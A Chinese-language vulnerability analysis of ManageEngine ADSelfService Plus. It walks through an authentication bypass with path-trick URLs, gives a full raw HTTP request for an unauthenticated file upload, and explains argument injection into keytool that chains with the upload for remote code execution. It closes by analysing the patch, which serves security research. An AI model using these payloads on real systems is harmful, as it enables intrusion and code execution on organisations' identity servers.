环境搭建
安装
该漏洞影响版本在6113
版本以前,但是在官网上已经下载不到这个版本了,我在其他网站下载了5.8的版本进行分析。
下载好后双击exe安装,但启动过程中会卡在一个地方不动,后来我是通过双击bin/run.bat
解决的,需要注意在选择版本的时候选择free
版本。启动后的界面如下:
调试
看启动过程这个系统也是基于tomcat,tomcat的调试是在catalina.bat
中加上调试信息,但是这个系统似乎没有catalina.bat
文件。在run.bat
中加上下面的内容。
漏洞分析
认证绕过
POC
/./RestAPI/LicenseMgr
原理分析
这里可以看到是请求RestAPI
接口时的绕过,查看web.xml
文件,访问RestAPI/
下的内容会被struts
处理。
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
...
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>
在webapps/adssp/WEB-INF/api-struts-config.xml:43
中找到LicenseMgr
的处理类。
<action path="/LicenseMgr" type="com.adventnet.sym.adsm.common.webclient.api.LicenseMgr" parameter="operation" validate="false" scope="session">
<forward name="result" path="/adsf/jsp/common/RestAPIResponse.jsp"/>
</action>
在LicenseMgr
中没有找到明显的操作方法,因此在父类的DispatchAction#execute
方法打断点,通过执行上面的payload
拿到调用栈。
如果没有加上/./
绕过,则不会执行到这个方法,所以推测是在Filter
中做了权限认证的处理。这个系统配置的Filter
并不多,因此我过了下发现问题主要在ADSFilter#doFilter
中,如果没有加/./
则会直接返回。
通过上面的代码分析,同时满足下面两个条件才会return
,所以我们只要绕过一个即可。
-
reqURI
可以被/RestAPI/*
匹配到 -
RestAPIFilter.doAction
返回false
很明显使用/./
是绕过了正则匹配的部分。
前面提到了这个系统是使用了tomcat
,所以其实绕过的方法就比较多样了。
/xxxx/../RestAPI/LicenseMgr
/;asdassd/RestAPI/LicenseMgr
/xxx;asdassd/../RestAPI/LicenseMgr
/RestAPI;/LicenseMgr
文件上传
POC
执行成功后会在/bin
下创建test.txt
文件
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.3.16:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: confluence.browse.space.cookie=space-templates; adscsrf=c7cd8c01-87c0-493d-841b-08dab9b51b30; JSESSIONIDADSSP=E332DAC8F8DCA73F0A99581A22D3ED36
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537
Content-Length: 749
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="methodToCall"
unspecified
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="Save"
yes
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="form"
smartcard
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="operation"
Add
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="adasdas/.././astest.txt"
Content-Type: application/octet-stream
arbitrary content
-----------------------------39411536912265220004317003537--
原理分析
Struts-config.xml
存在如下配置:
<action path="/LogonCustomization" type="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name="LogonCustomBean" validate="false" parameter="methodToCall" scope="request">
<forward name="LogonCustomization" path="LogonCustomizationPage"/>
</action>
通过配置+POC可知,调用的是unspecified
方法,由于form
传入的是smartcard
,因此会进入到else if
的内容中。
public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
...
if (request.getParameter("Save") != null) {
message = rb.getString("adssp.common.text.success_update");
messageType = "success";
if ("mob".equalsIgnoreCase(request.getParameter("form"))) {
this.saveMobileSettings(logonList, request);
request.setAttribute("form", "mob");
}
//进入到下面的处理中
else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) {
operation = request.getParameter("operation");
SmartCardAction sCAction = new SmartCardAction();
if (operation.equalsIgnoreCase("Add")) {
request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));
request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));
//处理SmartCardConfig文件
sCAction.addSmartCardConfig(mapping, dynForm, request, response);
} else if (operation.equalsIgnoreCase("Update")) {
sCAction.updateSmartCardConfig(mapping, form, request, response);
}
跟进到SmartCardAction#addSmartCardConfig
中,调用了getFileFromRequest
getFileFromRequest
从Form表单中解析得到文件名和内容进行上传。
在已经拿到POC的情况下,可以看到文件上传漏洞的原理比较简单,那么下面我提出两个问题。
- 这里在写入文件时明明只有文件名,为什么写入的文件会被上传到
bin
目录下?
这个问题可以通过分析File#getAbsolutePath
的调用解决,getAbsolutePath-->resolve-->getUserPath()-->System.getProperty("user.dir")
,而在当前环境中System.getProperty("user.dir")
保存的是/bin/
的地址,因此上传会传到/bin目录下。
public String getAbsolutePath() {
return fs.resolve(this);
}
- 我试图通过../等方式跨目录没有成功?为什么不能通过../实现跨目录上传?
FileName是通过getFileName
获取的
getFileName
调用getBaseFileName
getBaseFileName
中通过new File().getName()
获取文件名,所以我们传入的路径会被处理,这也是无法跨目录上传的原因。
命令执行
原理分析
命令执行发生在ConnectionAction#openSSLTool
中,这个函数中通过createCSR
创建CSR文件。
public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
String action = request.getParameter("action");
if (action != null && action.equals("generateCSR")) {
SSLUtil.createCSR(request);
}
return actionMap.findForward("SSLTool");
}
createCSR
接收需要的参数放到sslParams
这个json对象中,并继续通过重载方法完成实际的操作。
重载的createCSR
方法中,接收参数拼接并调用runCommand
方法执行命令,主要是通过调用keytool.exe
生成证书文件。
public static JSONObject createCSR(JSONObject sslSettings) throws Exception {
//接收参数拼接命令
String name = "\"" + sslSettings.getString("COMMON_NAME") + "\"";
String pass = sslSettings.getString("PASSWORD");
//keyToolEscape过滤
pass = ClientUtil.keyToolEscape(pass);
String password = "\"" + pass + "\"";
logger.log(Level.INFO, "Keystore will be created for " + name);
File keyFile = new File("..\\jre\\bin\\SelfService.keystore");
if (keyFile.exists()) {
File bckFile = new File("..\\jre\\bin\\SelfService_" + System.currentTimeMillis() + ".keystore");
keyFile.renameTo(bckFile);
}
StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass ");
keyCmd.append(password);
keyCmd.append(" -storePass ").append(password);
String keyLength = sslSettings.getString("KEY_LENGTH");
if (keyLength != null && !keyLength.equals("")) {
keyCmd.append(" -keysize ").append(keyLength);
}
String validity = sslSettings.getString("VALIDITY");
if (validity != null && !validity.equals("")) {
keyCmd.append(" -validity ").append(validity);
}
String san_name = sslSettings.getString("SAN_NAME");
keyCmd.append(" -dName \"CN=").append(ClientUtil.keyToolEscape(sslSettings.getString("COMMON_NAME")));
keyCmd.append(", OU= ").append(ClientUtil.keyToolEscape(sslSettings.getString("OU")));
keyCmd.append(", O=").append(ClientUtil.keyToolEscape(sslSettings.getString("ORGANIZATION")));
keyCmd.append(", L=").append(ClientUtil.keyToolEscape(sslSettings.getString("LOCALITY")));
keyCmd.append(", S=").append(ClientUtil.keyToolEscape(sslSettings.getString("STATE")));
keyCmd.append(", C=").append(ClientUtil.keyToolEscape(sslSettings.getString("COUNTRY_CODE")));
keyCmd.append("\" -keystore ..\\jre\\bin\\SelfService.keystore");
if (san_name != null && !san_name.equals("")) {
keyCmd.append(" -ext SAN=");
String[] san_name_arr = san_name.split(",");
for(int i = 0; i < san_name_arr.length; ++i) {
if (i != 0) {
keyCmd.append(",");
}
keyCmd.append("dns:" + ClientUtil.keyToolEscape(san_name_arr[i]));
}
}
JSONObject jStatus = new JSONObject();
String status = runCommand(keyCmd.toString());
logger.log(Level.INFO, "The status of keystore creation is " + status);
if (status != null && status.equals("success")) {
keyFile = new File("..\\webapps\\adssp\\Certificates");
if (!keyFile.exists()) {
keyFile.mkdir();
}
keyCmd = (new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -certreq -alias tomcat -sigalg SHA256withRSA -keyalg RSA -storepass ")).append(password).append(" -keystore ..\\jre\\bin\\SelfService.keystore -file ..\\webapps\\adssp\\Certificates\\SelfService.csr");
if (san_name != null && !san_name.equals("")) {
keyCmd.append(" -ext SAN=");
String[] san_name_arr = san_name.split(",");
for(int i = 0; i < san_name_arr.length; ++i) {
if (i != 0) {
keyCmd.append(",");
}
keyCmd.append("dns:" + ClientUtil.keyToolEscape(san_name_arr[i]));
}
}
//执行命令
status = runCommand(keyCmd.toString());
logger.log(Level.INFO, "The status of CSR Generation is " + status);
}
大部分的参数拼接时都会经过keyToolEscape
的过滤,keyToolEscape
中会将",;
等敏感字符转义。
public static String keyToolEscape(String str) {
if (str == null) {
return null;
} else {
String[] chars = new String[]{"\"", ",", ";"};
String ret = str;
String[] arr$ = chars;
int len$ = chars.length;
for(int i$ = 0; i$ < len$; ++i$) {
String s = arr$[i$];
if (ret.contains(s)) {
ret = ret.replaceAll(s, "\\\\" + s);
}
}
return ret;
}
}
但是KEY_LENGTH
和VALIDITY
并没有进行转义,所以可以展开利用。
String keyLength = sslSettings.getString("KEY_LENGTH");
if (keyLength != null && !keyLength.equals("")) {
keyCmd.append(" -keysize ").append(keyLength);
}
String validity = sslSettings.getString("VALIDITY");
if (validity != null && !validity.equals("")) {
keyCmd.append(" -validity ").append(validity);
}
漏洞利用
方法一:通过keytools加载类
这个方法的原理在于keytools
提供了下面两个参数,这里提供的类会被加载,所以可以在静态代码块中编写需要执行的代码,编译好后配合上面的文件上传漏洞上传,再通过注入providerclass
和providerpath
加载类以执行代码。
-providerclass <providerclass> 提供方类名
-providerpath <pathlist> 提供方类路径
失败尝试:拼接命令
执行命令时可以通过&&
拼接其他要执行的命令,能否直接通过&&
完成命令执行呢?
不可以,本来我想尝试直接闭合后面的内容后再通过&&
拼接其他命令执行,但是经过查阅资料这样是不行的,只有当使用cmd
/c
时才可以使用&&
拼接执行。后面的命令能执行成功的前提是前面的命令没有报错,如果前面的命令出错后面拼接的命令是无法执行成功的。
如果没有使用cmd /c
也无法执行后面的命令
修复分析
在6116
版本中修复结果如下。
认证绕过
在6116
中,直接使用/./RestAPI/LicenseMgr
会返回500无法测试能否绕过,经过排错,这个版本需要加上参数才能正常执行,否则不会经过过滤器。
使用/xxx/../RestAPI/LicenseMgr?operation=unspecified
绕过,发现在ADSFilter#doSubFilters
中存在如下代码。
查看isRestRequest
的内容,可以看到通过getNormalizedURI
对URL经过处理后才进行正则匹配。
public static boolean isRestAPIRequest(HttpServletRequest request, JSONObject filterParams) {
String restApiUrlPattern = "/RestAPI/.*";
try {
restApiUrlPattern = filterParams.optString("API_URL_PATTERN", restApiUrlPattern);
} catch (Exception var5) {
out.log(Level.INFO, "Unable to get API_URL_PATTERN.", var5);
}
//处理URL
String reqURI = SecurityUtil.getNormalizedURI(request.getRequestURI());
String contextPath = request.getContextPath() != null ? request.getContextPath() : "";
reqURI = reqURI.replace(contextPath, "");
reqURI = reqURI.replace("//", "/");
//正则匹配
return Pattern.matches(restApiUrlPattern, reqURI);
}
getNormalizedURI
会对./
和../
进行处理,所以无法使用这种方式绕过了。
但是根据我们之前的分析,也可以通过/RestAPI;/LicenseMgr?operation=unspecified
绕过,但也是不行的,使用上述payload返回500错误。查看配置发现URL会被Security
Filter
处理。
在SecurityFilter#doFilter
中会判断URL中是否包含;
或者%3b
,如果是则直接退出。
文件上传
SmartCardAPI#addSmartCardConfiguration
不再使用getFileFromRequest
完成上传操作,而使用getFileFromMultipartRequest
。
getFileFromMultipartRequest
虽然还是会进行文件上传操作,但是上传路径和名称都不可控。
命令执行
createCSR
已经不再使用拼接命令的方式创建证书,因此也不存在命令执行漏洞。
总结
这个漏洞的权限认证绕过和文件上传其实比较普通,作者发现的受限的命令执行配合文件上传导致RCE的过程算是这个洞的亮点吧。之前分析认证绕过的地方有些错误,感谢killer
师傅指正。